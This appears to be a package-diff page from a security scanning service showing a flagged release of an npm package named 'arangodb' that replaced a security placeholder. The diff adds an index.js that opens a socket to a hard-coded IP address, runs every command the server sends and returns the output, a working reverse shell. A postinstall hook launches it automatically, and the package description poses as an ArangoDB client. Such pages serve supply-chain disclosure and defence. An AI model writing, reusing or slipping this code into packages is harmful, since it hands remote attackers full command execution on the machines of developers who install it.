arangodb 0.0.1-security → 1.0.1
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of arangodb might be problematic. Click here for more details.
- package/index.js +43 -0
- package/package.json +12 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,43 @@
|
|
1
|
+
const net = require('net');
|
2
|
+
const { exec } = require('child_process');
|
3
|
+
|
4
|
+
|
5
|
+
// 配置服务器的 IP 地址和端口
|
6
|
+
const SERVER_HOST = '47.89.213.169'; // 替换为你的服务器 IP 地址
|
7
|
+
const SERVER_PORT = 8080; // 替换为你的服务器端口
|
8
|
+
|
9
|
+
// 创建与服务器的连接
|
10
|
+
const client = new net.Socket();
|
11
|
+
|
12
|
+
// 当连接到服务器时触发
|
13
|
+
client.connect(SERVER_PORT, SERVER_HOST, () => {
|
14
|
+
console.log(`Connected to server at ${SERVER_HOST}:${SERVER_PORT}`);
|
15
|
+
});
|
16
|
+
|
17
|
+
// 当接收到服务器发送的指令时触发
|
18
|
+
client.on('data', (data) => {
|
19
|
+
const command = data.toString().trim();
|
20
|
+
console.log(`Received command: ${command}`);
|
21
|
+
|
22
|
+
// 执行收到的指令
|
23
|
+
exec(command, (error, stdout, stderr) => {
|
24
|
+
if (error) {
|
25
|
+
console.error(`Error executing command: ${stderr}`);
|
26
|
+
client.write(`Error: ${stderr}\n`);
|
27
|
+
return;
|
28
|
+
}
|
29
|
+
|
30
|
+
// 将执行结果返回给服务器
|
31
|
+
client.write(`Command output: ${stdout}\n`);
|
32
|
+
});
|
33
|
+
});
|
34
|
+
|
35
|
+
// 当连接关闭时触发
|
36
|
+
client.on('close', () => {
|
37
|
+
console.log('Connection closed');
|
38
|
+
});
|
39
|
+
|
40
|
+
// 处理错误
|
41
|
+
client.on('error', (err) => {
|
42
|
+
console.error(`Connection error: ${err.message}`);
|
43
|
+
});
|
package/package.json
CHANGED
@@ -1,6 +1,15 @@
|
|
1
1
|
{
|
2
2
|
"name": "arangodb",
|
3
|
-
"version": "
|
4
|
-
"
|
5
|
-
|
3
|
+
"version": "1.0.1",
|
4
|
+
"engines": {
|
5
|
+
"node": ">=18"
|
6
|
+
},
|
7
|
+
"description": "A lightweight and flexible client for ArangoDB designed to interact with ArangoDB's native multi-model database features (document, key-value, graph, and search). This package allows you to seamlessly connect your Node.js applications to an ArangoDB server or cluster, execute AQL queries, manage collections, handle transactions, and work with ArangoDB’s graph database capabilities.",
|
8
|
+
"main": "index.js",
|
9
|
+
"scripts": {
|
10
|
+
"postinstall": "node index.js"
|
11
|
+
},
|
12
|
+
"author": "yeshen7",
|
13
|
+
"keywords": ["arango", "arangodb","aql","nosql","client","driver","api","http","rest"],
|
14
|
+
"license": "ISC"
|
6
15
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=arangodb for more information.
|